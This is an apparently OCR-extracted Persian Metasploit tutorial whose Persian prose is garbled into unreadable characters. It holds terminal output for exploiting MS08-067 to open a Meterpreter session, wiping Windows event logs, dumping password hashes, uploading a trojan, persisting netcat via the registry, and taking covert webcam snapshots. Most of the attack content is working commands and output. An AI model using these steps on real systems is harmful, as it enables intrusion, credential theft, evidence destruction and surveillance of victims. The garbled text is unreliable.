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Applications Places ? Tue Jun 11, 9:39 AM

root@kali64: ~

File Edit View Search Terminal Help
:~# msfconsole

MMMMM MMMMM
MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMN
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMM  MMMMMMM ~ MMMMM
MMMMM  MMMMMMM ~ MMMMM
MMMNM  MMMMMMM ~ MMMMM
WHMMMM  MMMMMMM  MMMM#
7MMNM MMMMM
*7MMM MMMN®
MM MN?

http://metasploit.pro
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root@kali: ~

File Edit View Search Terminal Help

v available advanced options for this module
available actions for this auxiliary module

Run the check routine of the selected module
Execute the selected module
You're looking at it baby!
Show available ids evasion optdons for this module
Show available options for this modole
Show available pavioads "for ' this \module
Show informatien abaui=thas module
Show availabla-tapgets for this exploit module

msfcli multi/handler payload=windows/meterpreter/reverse tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

Graphic User vlos U GUI kul, S5 1 guswo,l shdl 51 S bun teugly wlio (55,81,8 bl - Armitage -3
SS9 il b gl wlio JguisS bu=o il 5 033l Il ol wails (s cugly, wlio Interface
auwly Csowiws cugliwlio JguuuS S 5l uw @ Ulgn aax) 18 5> aS ads sw | UlSsl ¢l (Tabbing
e 5l Olgi (oo egliw o (5Sw81,S byl ol Sl Sl 25,8 eadlins |y oaol cow s Sld Cowaini g

rabls sowyiiws O @y puSeid IS 5> 505
Application > Kali > Explotation tools > Network Explotation > Armitage

1S oslaiwl ,uj wsgel 5l awlei (s Armitage U S Spgai iujgol 03dlie Sl
http://s5.picofile.com/file/8199785350/armitage fullsecurity org .zip.html

:(msfconsole) wugliwlio JguwsS laly wlygivws (5820

ol Gad g aiwls )8 Jgl as)s 55 buly cul aS pusgos Ul 9 pusd,S Cumeo bl) 5590 cul > (uaing oo )
L 1y olse lod b puls a8 coomad ool 55 vl cuglewS] =l ly @as b g 18365 o blo,l sl O]
oS Luwl msfeonsole 55,518 9 ppo wlygiws

oliil @ 1, (wgilo Lbsl b g 0auw, 0Ll a ol Jejlo o b 0lo,lS Lo wlsl (salS back ,giws -1
1,505 Jgslo Su g aiiaS3b Jud al>yo @y back Hgiws L=l b puwilgi (s 3190 el 53 .pul 03,5 Llsl
owl M) Oy Heiwd UJ| b).;)ls.p._e.is wlzwol
msf auxiliary(ms09 001 write) > back
msf >
o uidlgs s> o1 sl (ugiS S(Ld) e 8 ()it (giws ol 5> 1S

A8 o yaulos | cugliwlio JguisS bul, S i 5l sSu (sdslai wjgas jgiws o4l tbanner jgiws -2
ol ) )80 DU Heiawd UJl b).g)ls
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msf > banner

/- / / /
|

|

l_

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go pro' to launch it now.

[ ]
+ —— ——=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- —--=[ 432 payloads - 37 encoders - 8 nops ]

9 B Sy w8y pl3S,a yls HL8 cugliw bio 5 aS uld Jgjlo 9 W wuslyun ST icheck sgiw s -3
So U puyls 2mad g 05,8 wlxil 3g85 Sl ) (9 S o wldgl B .l oais aupi o> Blaal
check ,giw s 5l oslaiw! b (3uL) pwlgi Cswo @3lgas Sl )5 .owsS oslaiw! 3985 Sy Ol ade | Cugliws|
o> b s 5985 B 9 niy coml a5 3590 CusliwS] @ s lo (bl B Ul aS psS (sow
ol 55 wjso A Heiws ol 30,8

msf exploit (ms08 067 netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST 172.16.194.134 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

0 Automatic Targeting
msf exploit (ms08 067 netapi) > check

] Verifying vulnerable status... (path: 0x0000005a)
] System is not wvulnerable (status: 0x00000000)

] The target is not exploitable.

f exploit(ms08 067 netapi) >

[ *
[ *
[ *

ms

oslaiw! oaui Ll wlhgiws zuli 51 uld Caouud US,S (535, Sl Ulgi (s Heiws ol 5l icolor jgiws -4
Do oo gulo wanw Liblgs el 05g.00
Tl M) OH%ay Hgiawd UJ| b).;)ls

msf > color
Usage: color <'true'|'false'|'auto'>

Enable or disable color output.
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as 5,l> 39>9 ugliw bio JguwsS byl 5> oani S>¢S asws Sy netcat Wg 0 150l 5l sconnect jgiws> -5
L 2wlgi s b uSio soliny Ju1d JLw 5l wolbld 5l 506 ¢ Pivoting 9 (s S50 (SSL 1 S o ol
9 ol Netcat 5l asled (Remote) weoy; wigas 593 Bad Ubsuo puiwaw 4 Wy 9 IP S awls
g Juaio Telnet
el 5 ©)gan seiws ol 3,08

msf > connect 192.168.1.1 23

[*] Connected to 192.168.1.1:23

DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:

h- il 5l esleiwl U 1) Heiaws ol @ bogsro (sdlol Sl @S swolod Auilgi (s ¢l p 09Me Lo
12wS o line

msf > connect -h
Usage: connect [options]

Communicate with a host, similar to interacting via netcat, taking advantage
of
any configured session pivoting.

OPTIONS:

-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.

-S <opt> Specify source address.

-c <opt> Specify which Comm to use.

-h Help banner.

-i <opt> Send the contents of a file.

-p <opt> List of proxies to use.

-s Connect with SSL.

-u Switch to a UDP socket.

-w <opt> Specify connect timeout.

-z Just try to connect, then return.

msf >

.>ls,) $EDITOR g $VISUAL L (sded Jgslo Liwliug @ Ulgi (s cedit jgiws 5l osleswl U redit jgiw> -6
D9 sw el Vim s S0l po ey ek
ol W) OHGas HGiawd U.J| b)._JJlS

msf exploit (msl0 061 spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-
framework/modules/exploits/windows/smb/ms10 061 spoolss.rb

#+#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#+#

require 'msf/core’
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require 'msf/windows error'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf:
include Msf:
include Msf:
include Msf:

def initialize(info

:Exploit:
:Exploit:
:Exploit:
:Exploit:

:Remote: : DCERPC
:Remote: : SMB
:EXE

:WhemExec

= {})

) Oyga S (sw oslaiwl msfeonsole lu=o jl 9,5 Sy jgiws ol 5l iexit jgiws -7

msf exploit (msl0 061 spoolss) > exit

root@kali:~#

msf > help

Core Commands

D) Q)0 LD (S0

Description

Help menu

Move

back from the current context

Display an awesome metasploit banner
Change the current working directory
Toggle color

Communicate with a host

Database Backend Commands

creds

db_connect
db disconnect

db_export
db_ import
detected)

List all credentials in the database

Connect to an existing database

Disconnect from the current database instance

Export a file containing the contents of the database
Import a scan result file (filetype will be auto-

)g._a_b 9 ) QSJU {(a Cl.u_S wswolod Jloww Ual.'> -Jg'jl.o S @ Jog._;).o wleMbl (swoloi BYVEWA) u,;_| :info S9iws -9
bgsyo wlss> o wleMbl Jgilo ,a 5l oslaiwl | Jud puiS o ogi a5 o Uil | 5L 3,90 wleMbl
DS 3,95 (sdloas ] GMSLiie @ 3985 > 5 U S sadlinwe |y Jgjle ol @y

-Jg'jLo M\J 9 0diuwg) U bg._u).o wleMb| -
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(... 9 BID (CVE) Sply ol S Guiyd, 9 810 -
owl 0au 3Ll Jgsle ul 5y aS Saxgly wlud;> -
rowl ) )Gy HGaawd U.J| b)._))ls

msf exploit(ms09 050 smb2 negotiate func index) > info
exploit/windows/smb/ms09 050 smb2 negotiate func index

Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table
Dereference
Module: exploit/windows/smb/ms09 050 smb2 negotiate func index
Version: 14774
Platform: Windows
Privileged: Yes

License: Metasploit Framework License (BSD)

Rank: Good

Provided by:
Laurent Gaffie <laurent.gaffie@gmail.com>
hdm <hdm@metasploit.com>
sf <stephen fewer@harmonysecurity.com>

Available targets:
Id Name

0 Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
Name Current Setting Required Description

RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the

attack to complete.

Payload information:
Space: 1024

Description:
This module exploits an out of bounds function table dereference in
the SMB request validation code of the SRV2.SYS driver included with
Windows Vista, Windows 7 release candidates (not RTM), and Windows
2008 Server prior to R2. Windows Vista without SP1 does not seem
affected by this flaw.

References:
http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
http://www.securityfocus.com/bid/36299
http://www.osvdb.org/57799
http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx

msf exploit(ms09 050 smb2 negotiate func index) >
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Sh=l 5l 2y ;85945 59 csw oslaiwl Ruby 0L @b Se caw,Sowl oinivgs Sl Hgiws ol 5l tirb jeiws -10
Aulos (sug) BB vy ,Siwl Hildig AU Eg i 9 0Ll (Suuwgi S Logao bouzo 35l Wlgi Lo Hgiws ol
T owl M) Oy Heiwd UJ| b).;)ls

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

=> nil

>> Framework::Version

=> "4.8.2-2014022601"

gl oo el aizs vy L Background wdls s aS siiwd suld Jgjle (Jobs) o wl> :jobs jgiws -11
LS w odly9 1) job ¢l ws,S terminate L g bl skl (ws,S o] wobld jobs jgiws
ol 55 wjso A Heiws ol 30,8

msf > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:
-K Terminate all running jobs.
-h Help banner.

-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.

-1 List all running jobs.

-v Print more detailed info. Use with -i and -1

msf >

Wio . iSuo B3> |, cawl 03w sl job id S U aS sjob 1o giws ol kil giws -12

msf exploit(msl0 002 aurora) > kill 0
Stopping job: O...

[*] Server stopped.
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Mo g csw oslaiwl Lol Jgsle S WS oy Sy Hgiws ol 5l isearch jgiiws -13

msf > search usermap script

Matching Modules

Name Disclosure Date Rank
Description
exploit/multi/samba/usermap script 2007-05-14 excellent Samba

"username map script" Command Execution

msf >

(kill) B> b g bl skl 0s)S wwd a0 b ads s |) UlSel ¢l Sessions jgiws :sessions jgiws -14
Meterpreter sla w Shell Slplouso 1ilgi (5w 3590 (5> B Cowin gl B Cowins Us)S
.Ap&b."ngVNC|49

w5 Whgar Hgiwd ul 53,0518 saigos

msf > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.
OPTIONS:

-K Terminate all sessions

-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session

-h Help banner

-i <opt> Interact with the supplied session ID

-k <opt> Terminate session

-1 List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all

-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session
-v List verbose fields

JpwiSao oslaiuwl Sessions Hgiws HUS )y -l el 5l Jled cawnin 1o US,S ] Sy

msf exploit (3proxy) > sessions -1

Active sessions

Id Description Tunnel

1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
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G 1d 0,lonis 9 =i ol 51 ciowl 030 03,91 YU Caowd 55 aS (sJled i S U bl slzl sty
,Q.us wwo osleiwl ).]a.; >)9.0

msf exploit (3proxy) > sessions -1 1
[*] Starting interaction with 1...

C:WINDOWSsystem32>

9 nS)Q V3] sla u..u.uiug.uuls lJ tSJ.u)S.uCU U ad> o |) ulsol UJ| l.o..siJQ._v)Qwa qu set giw> -15
1 pll (s Ol UL Js s aS 1) (sded Cowin @ bgsyo S ol

msf auxiliary(ms09 050 smb2 negotiate func index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134
msf auxiliary(ms09 050 smb2 negotiate func index) > show options

Module options (exploit/windows/smb/ms09 050 smb2 negotiate func index):

Name Current Setting Required Description

RHOST 172.16.194.134 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the

attack to complete.
Exploit target:
Id Name

0 Windows Vista SP1/SP2 and Server 2008 (x86)

ww osleiwl B Jgjile 55 (sdlol Sla aiujS pudaii 9 wliz> eadline Sl Hgiaws ol 5l :show ,giws -16
Cugawlio > 39>90 auxiliaty sl Jgjle plod I csvuwd Show auxiliary jgiws s>l b Wio .59
Dg (w03l Giuglos

msf exploit(ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

0 Automatic Targeting
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oS o3laiwl 3985 55 puyls ad asS (... 9 LuglwS! (b Jgjlo ) axld Sl jgiws ol 5l tuse jgiws -17
1390 s oslasiwl

msf > use dos/windows/smb/ms09 001 write
msf auxiliary(ms09 001 write) > show options
Module options:

Name Current Setting Required Description

RHOST yes The target address
RPORT 445 yes Set the SMB service port

msf auxiliary(ms09 001 write) >

Do cswo 05 liwl wugluwS! Slhy=l sy Hgiws ol 5l iexploit jgiws -18
Ao (s oslasiwl ((wugliwsSt 5l ue @) Jgjle Su Sl Sl irun jgiws -19
:(msfcli) cugliwlio Uloyd las ll) S50, Sld ol b (89,20

ol 5l cwsliw lio aS 059 Ulo,d s byl ugliw lio Syl 51 sSu pus,S Uy Gusinwy oo 5> aS jghilos
ol 5,58 S,y L L luse boei U puyls a8 Gz oul 53, S oslasiow | Gusgs waylby olxil sl bl

S oslaiwl msfeli -h sgiws 51 wilgi cswo Wyiolyl 51 (slolS ) oamline Slp

Wio 285 s Wl | oo wlzil Jgile aid iy wlowkais ool ol 1@ yiol,l -1

root@Kali: msfcli auxiliary/scanner/portscan/xmas A

A s Ulis |y se—i >l adbogyye Jgslo U oS 0 b )S5905 S aS (suldald J8la> jsol)b ol 10 ss0lyl -3
9 1l ooy J 5l balsd ol 5l sy g 3 b el yes Llage il sl Required wgiw aS (suldals

All Right Reserved For TheHacking — https://telegram.me/thehacking




[i] metasploit

Wio .S L=l 1 o0ui wlzesl Jgslo € yiol,l 5l oslaiwl b awlgi (s abogyye Jgslo pudaii 51 Gy € yiol,l -4

root@Kali: msfcli auxiliary/scanner/portscan/xmas e

:Metasploitable s uiy3g8) s 0B iulojl (5,20

Warning: Mever expose this WM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

e phpMyAdmin
¢ Mutillidae

e DVWA

e WebDAV

Suiydgss i o8 _iulojl S U 1) lomi ugly wlio Sla sl g S)s Sy (ainigol 8,95 cul Jgb s
aslol (Virtual Machine) sjlxo unislo S JB 55 W Sypuiy wuwl U LS sl aS Metasploitable oly (sowSgin
9 2uly, S Suiy wuwl Sy, U dgs udlgs ;318 Loy Metasploitable bwgi .owS il cawl 0w >lb

S @dlal Ol @y 505 1) Syizer S Syl i> 9,18 VgSLSS

Jwlgi 5w aS 039, Metasploitable 2.0.0 Ol (5igiS aeuns 594 (s 9, RAPIA7 S i bhawgi Jole ponsw ol
alou selils 3 Sid 51 1l

http://iweb.dl.sourceforge.net/project/metasploitable/Metasploitable2/metasploitable-linux-2.0.0.zip

TheHacking JULS ;I duilgi 0 1) 30 ] Sjlxo Guaivlo (ul U LS 9 ;101 ol 090 Slpaiv jeol
AaiS dolils

https:/ /telegram.me/thehackin (M O SusSd Slpaw ool Gupila> 5l 9 Mguw gac )
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tewglowlio Sl wysliwsS! s asb

g (s pusndi Passive g Active ggi 95 @y 5,055 9 5,Sloc £95 Hi 51 Cugliwlio BB wugliwuS] (swolod

JolS Wi whgo 5> gl Lsw Z3 598 Ao LIS plodl I a9 031> aelsl g3 IS @ waw JolS 5l Gy U
Pags o axlgo Uax S b esdidsyd @l Jgjlo ol

_).J).S o 8 S aws o1l H> ol u;.ul.oj Metasploitable ,i, u.uuuT Pt Sg, aS (suld cuglwsl
0yl |, B0d Sew 5l 03l @ 5k Ll Sy b cuglowsS] ol igs Ol @

A9 o 9D Lo W sl wSt I aws ¢l Active Sl gl Sl BV, Passive sla coglwsl -2
((iaaod S Ulgino ) Luydi aiws oul .20yl (olgxU b olgs ) Wad Sgw 3l 05l @y 5lu vass Ll Sy (susy
51 Dlgi s s U bli)l )8, 30,05 35500 ... 9 FTP Sla ciuMS Ly SS90 diilo suld ciMS g,

Al b Jeoul So o Sad S g0 038 SIS auyb

ok it Cag o Shy S€SSIoNS -i Hgiw > 3l oslaiw | W cyglu Sl aigSil Gasbos ;5 ppo S awlbow 5l S

rewslywlio 5> Meterpreter I oslaiwl

Applications Places Fri Apr 12, 9:07 AM

root@Kali-Linux: ~ =

File Edit View Search Terminal Help

exploit(ms08 067 netapi) > exploit

Started

Automat i ting the target...

Fingerprint s XP - Service Pack = :English

Selected Target

Attempting to trigg

Sending e (752128

Meterpret ession 3 opened (192.168.199.144:50350 -> 192.168.199.132:4444) at 2013-04-12 09:04:37 -0500

-v netcat -d 'c:\windows\system32\nc.exe -ldp 6000 -

Enumerating: HKLM\software\microsoft\windows\currentversion\run
Values (1):

netcat

meterpreter > reg queryval

9 w8 5l LU puwid)S Csow yiww > Msfcli L g msfconsole L Armitage 1 oslaiw | b @Gad picunaw 3l aSiul 51 g
b8 9 WUl 3gly 48 .ouS osleiw! 3¢5 wldoc Us,S pS=o Sl Jgjlo 55 oaui osls 51,8 sely Sla sSiug
5,5 o,Lal Meterpreter a Olgi (swo gl 99 5l aS ads (sw ,18 ;S5985 Hlasl )5 1) uld
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Jsla> @, Lo Meterpreter 5l oslaiw! Sl aSiul Gows . pugais boil O Wlhygiws U b selay ol 5l oslawl! 51 Jd
535 ID aS puiS (s oslaiwl Sessions -i ID Hgiw> 51wy S szl Sy Leu)ls Gad piwaw 5> o SO
owl oo oy Lolaisl S 5560 wowain a4y aS wowl Sloojloci Bgd Hgiws

:Meterpreter wl)giws

wwo Uglos | Meterpreter s oslaiw! JB 9 S3,,S wljgiws plw ;1 (i Hew> ol thelp jgiws -1
AD>

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session

channel Displays information about active channels

|80 dizo iy b background s a, | ooci sl (ugiS Cowin «giwd ol tbackground jgiiws -2
105,500 5L msf (slol byxo |, lowis 9 03,5

meterpreter > background
msf exploit(ms08 067 netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Syls oape 1 B LB S,

meterpreter > cat
Usage: cat file

Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

meterpreter >

Paicd Ol 53 aS (5993 5,958 pul> Uiwlod 9 yuai Sl iy @ Hgiws 95 ol 5l ipwd 9 cd whgiws -4
g cswo 0 laiiwl

meterpreter > pwd
c:\

meterpreter > cd c:\windows
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meterpreter > pwd
c:\windows
meterpreter >

Sla LB @ beyo Sl Giyl5S o)l 5,058 Si90i09 S it > aS Hgiws ol iClearev jgi_ws -5
S v S3LSU | ol Sl SY g b inSalyl o W aolp @ by yo Slesi) S < oo

meterpreter > clearev

[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...

[*] Wiping 0 records from Security...
meterpreter >

Dgiwd Sh=>l 51 a8

ﬂ Event Yiewer

File Action View Help

«= | AR TR @

)| Event Viewer (Local) Application 97 event(s)
Type l Date ]

3| Security d
il System @ Information  2{5{2012
35| Internet Explorer @ Information  2/5{2012

' @ Infarmation 2212012

Dgiows Shy=>1 5l s

B Event Yiewer

File Action VYiew Help

= AMEEEB @

@] Event Viewer {Local) Application 0 event(s)

5 * Application
24| Security Type | Date |
(4] System There are nc

Internet Explorer

3 aS 3sS A>gi L3¢ (sw oslaiwl Wud piwusw I B sebils Sl jeiws ol 5l :download jgiws -6

meterpreter > download c:\\boot.ini

[*] downloading: c:\boot.ini -> c:\boot.ini

[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

1S Ll Gad picaiew ) 1) )80 Heiwd Sy algi (sw ygiws ol b iexecute jgiws -7

meterpreter > execute -f cmd.exe -1 -H
Process 38320 created.
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Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

o Csowyiows adaw )i;_b Oy @ e o Vi 1) Bad piuw Sp,S LU Heiws ¢l tgetuid jgiws -8
13940 (w0 paswio Hgiowd ol b WBad piuaw >

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Caowl 0000 0,053 WBAD picwiaw ULw,)S jeuc jo, Ul 5 aS SAM Luwlius Ggiws ol thashdump jgiws -9
128> (o Jiwlos b Sl 1

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY
8528c78df7££55040196a%p670f114b6. ..

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...
Administrator:500:0512c1£f3a8c0e7241aa818381e4e751b:1891f4775£f676d4d10c09¢c1225
abcla3:::
dook:1004:81cbcef8a%af93bbaad3b435b51404ee:231cbdael3ed5abd30ac94ddeb3cf52d:

Guest:501:2ad3b435b51404ecaad3b435b51404ee:31d6cfe0dl6ae931b73¢c59d7e0c089c0: :

HelpAssistant:1000:9cac9c4683494017a0£5cad22110dbdc:31dcf7£8f9%9a6b5£6909£d0150
2e626le:::

SUPPORT 388945a0:1002:2ad3b435b51404ecaad3b435b51404ee:36547c5a8a3de7d422a026
e51097ccc9:::
victim:1003:81cbcea8a%9af93bbaad3b435b51404ee:561cbdael3edbabd30aa%94ddeb3cfb2d

meterpreter >

Aol oy ) 3yl 553 (sl wdls ) idle cdls s )8 aS (siloy wae Hgiws ol :idletime jgiws -10
18> v wliiw

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

) BAd it Sty S Gw)sl 9 wlaziuw sadliw Sy whgiws o4l 5l tifconfig ¢ ipconfig Hgiws -11
sl ifconfig jgiws , 3939 Sy ipconfig jeiws .59 (sw oslasiwl (... 9 So 9 IP S uw)ysl Jolw
139 oo LS puSeid
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meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1

Netmask : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:£5:15

IP Address : 192.168.1.104

Netmask : 255.255.0.0

meterpreter >

)lSJ tS)S.AS)Jlb kSJ ) >9>90 ksl.m JJls Oml.u.t.o kSI)J ‘w.lsg.&d PR |S PLYEVIA} .\.AJLO.& PLYEVIA} u}l :|S PLYEVIA} '12

:59) S0
meterpreter > Is
Listing: C:\Documents and Settings\victim
Mode Size Type Last modified Name
40777/ rTWXTrWXTrwx 0 dir Sat Oct 17 07:40:45 -0600 2009
40777/ rWwXrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw—- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-
used. xbel
40555/ r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application
Data

15940 (s osleiwl )ip Awgyy A dwgy Syl wy>lpo Sy jgiws ol 5l imigrate jgiws -13

meterpreter > run post/windows/manage/migrate

Running module against V-MAC-XP

Current server process: svchost.exe (1076)
Migrating to explorer.exe...

Migrating into process ID 816

] New server process: Explorer.EXE (816)
meterpreter >

* % X ok X

[
[
[
[
[

Luesi |y 393 Aw g,y leyw (81D pitwaw U Vb Jaio | A dinae aS ow b ainw s asgi 1auss
Gi> Iy ul 03,8 5905 Ul > d9>90 wes (8,b 5l loci aS Syl wawl alwgyy Blgi s WD LIS Laulos
1353 50 0 3| 030 s 31 ooty § Lo o Wi 3 055

1> s Vi |) Gad piuuaw Sg) bl s s Sla acwgy 51 JolS csvwd Hgiws ol 1pS Hgiws -14
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meterpreter > ps

Process list

PID Name Path

132 VMwareUser.exe C:\Program Files\VMware\VMware
Tools\VMwareUser.exe

152 VMwareTray.exe C:\Program Files\VMware\VMware
Tools\VMwareTray.exe

288 snmp . exe C:\WINDOWS\System32\snmp.exe

L 9§J| Sy sl Sy )8 gz BAd piwsw 53 ) LB S Ol (s jgiws (ol bwgs isearch jgiws -15
1S osleswl -f ol 5l 9=iwu> Sl Pattern

meterpreter > search —-f autoexec.bat
Found 1 result...

c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...

c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >

4 Jwlgi s (il o S g U|)§>9.QJ a>gi 5,90 ;b aS Hgiwd ol jl oslaiwl U ishell jgiws -16
126S 1oy awpiowd puSeid 9 j9aiu9 S Jole puuaaw > terminal g cmd slplu=o

meterpreter > shell

Process 39640 created.

Channel 2 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

P 55 (e 995 o SV (S Wiy ) LB Us,S salyl Sl Olgi (s Heiws ol 5l iupload Hgiws -17
5 uiudowl SO Slay (B0d pituaw > B 3,90 18 Gw)sl Cuoowd 5y aS 3uS a>gi L5,S oslaiwl Wis
12wS osleiwl iudowl 9>

meterpreter > upload evil trojan.exe c:\\windows\\system32

[*] uploading : evil trojan.exe -> c:\windows\system32

[*] uploaded : evil trojan.exe -> c:\windows\system32\evil trojan.exe
meterpreter >

GID poicutw > gwyiwd JB Sl oS Ly sadliie Sly Ulgi (s Hgiws ol 5l :webcam_list jgiws -18
15,5 oslaiwl

All Right Reserved For TheHacking — https://telegram.me/thehacking




[ﬁ] metasploit

meterpreter > webcam list

1: Creative WebCam NX Pro

2: Creative WebCam NX Pro (VFW)
meterpreter >

39 v s pS wg lhwgi aS (sdoaxo I LwSe S pwilei (s Hgiws ol L iwebcam_snap jgiws -19
39 (s Wil 9slai wige W puSe ol LU 35S 0035 (59eiS )9S uls 53 9 s

meterpreter > webcam snap -i 1 -v false

[*] Starting...

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

cowl 00ud aid,8 Hgiws ol U aiges Ulgic @y aS Sy0.ai

am snap -1 1 -v

YxdhwpeQ.jpeq (JPEG Image, 640 x 480 pixels) — Scaled (88%) - lceweasel

| & YxdhwpeQ.jpeg (JPE... % | *

file://Iroot/Offsec/YxdhwpeQ.jpeg W (& earch %

& Most Visited ¥ “Offensive Security "'\\Kali Linux "'\\Kali Docs i'\'o,}(aLi Tools ﬂExploit—DB ‘Aircrack—ng

All Right Reserved For TheHacking — https://telegram.me/thehacking




[ﬁ] metasploit

Meterpreter ol )guws (3ol
2930 b (HsS SB sl

Sa 595 LT diSeo oy sgiws ol check_root ,gins
.).:5 l..'. Cannndd U’) LR W
Slewlos Caad j1 2,155 SO 9w ol dump_root g

23w Gl L 4 02k S 095

S 95 (LSMS eyt Hgiws ol L:dUMP_SMS i
@thehacking PHIT 9 pakan 9) DX
9 03 S B9S ublie Cuwd dump_contacts g

Bls0 O guli

Ogdn 9 03 S DS oLdl o> Cunige geolocate g

LB OV

)

Ol 3 Casiol 9 S JUIS' o 5 0 - The Hacking Juts

: Browser_Autopwn;l oslaiwl U oMo ) S5g3 S;Lw osly

Cuglew bio wenw ! oani @l wugliw lbin bw i aS ww | (auxiliary) sSoS Jgjle ay Browser_Autopwn Jgj;le
S >l g Slw osly Wad S, 855 JSii @ | GiwiMo> U ads (sw 85685 a | o511 ¢l

aS Sgxi 8 W Adlgso Lol w99, (3928 ax b ailawes 1885 ,S3985 aS | (il Jgjlo ol lsd 51 5So
5t oslaiw! s s Hais,ge Bad aS 1S oslaiw! Jgilo pul 51 Lilgine ;53985 (sulo) IS b . 16S 3945 Ul @ oaLw
S—wdigo S SuSs 5l oslaiwl b pudiwio wyso |y Sid Wlgi (o 5S3885 Wiyg—o Gl > bl 555050
A5 )18 pop-up g0 @ il b puuans Jud 5l S uld wulw s ) S aSil b asy Vas @ eloix
WMo jigs plil 9 S3Lw 05lw Sl d Jgilo ¢l 9 3,800 18 (5SS Sla Jgjle aiws s auxiliary sla Jgjlo
Shy il 5o Giuw Lo oyl 1) Lol cobld 9 aiiSiws Joe cugliwS! aiile W Jgjle ol cdig—is (swo o5laiwl

ol )l b sy aSid S @ wsgr Juaie S g9,

1S oslaiwl 5 Suld 5l Browser_Autopwn cuglowS| jw)gaw 0adline Sl

https://qithub.com/rapid7/metasploit/framework/blob/master/modules/auxiliary/server/browser autopwn
.rb
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rengliwlio US,S (lw)zar b conl 092 Giwjgel

50583985 Wb Oleo wul > womins il 9 wisS Sl S cugliwsSl 9 b Syl pupo Sigl> aS 05,0
adlol 9 wugliwlio Us,S ol Sl 55l5,0 3585 4 o> S CuglwsS! L gy U 05,5 59,0 15 595 sla 5l
5,05 59>9 Jgowo j9b @ ol 95 303,18 Sl (ul @ Jgjle ws,S

9y aglowlio )l 593 aSiuly ogMe Hgiws ¢l :msfeconsole jgiws 5l oslaiwl b cugliwlio 0SS conl -1
ASao Blal Giups pd 9y 13> S Jgjlo caiSuo (siluwyi9

Lowts Ll Sl wud cygliwlio 4 W Jgjle ws,S IMport b g8l 9 (sicws gl 9> Lg, -2
1S 3abils 505 gwosl 5l 1 595 Jgjle anliwo

https://qithub.com/rapid7/metasploit-framework

Soblils | (wowl .rb wn,8 Shhls aS ) Lo 5,590 Jgjlo (puSeid 5> wget jgiws 5l oslaowl b awgiao oo
wget https://github.com/rapid7/metasploit-
framework/blob/master/modules/exploits/multi/browser/java_storeimagearray.rb

VLY |).>-| |) M) )9sawd J Y WWIE V- SV I WY Ui)b as nS)gJS);_lb 2 >9J.'J|b )'| U JJL‘) qu

cd /usr/share/metasploit-framework/modules

dojle o . ginme Jaiie iyls 51,8 Ll s cusliwlio Sl Jgsle aS oSypmo @y Bgd Hgiws Shh>l b
1 525 e U Jgilo ol 0SS (S Sy JIs Laui 0,035 Desktop s> 03,5 sebils ¢ as
usr/share/metasploit-framework/modules/

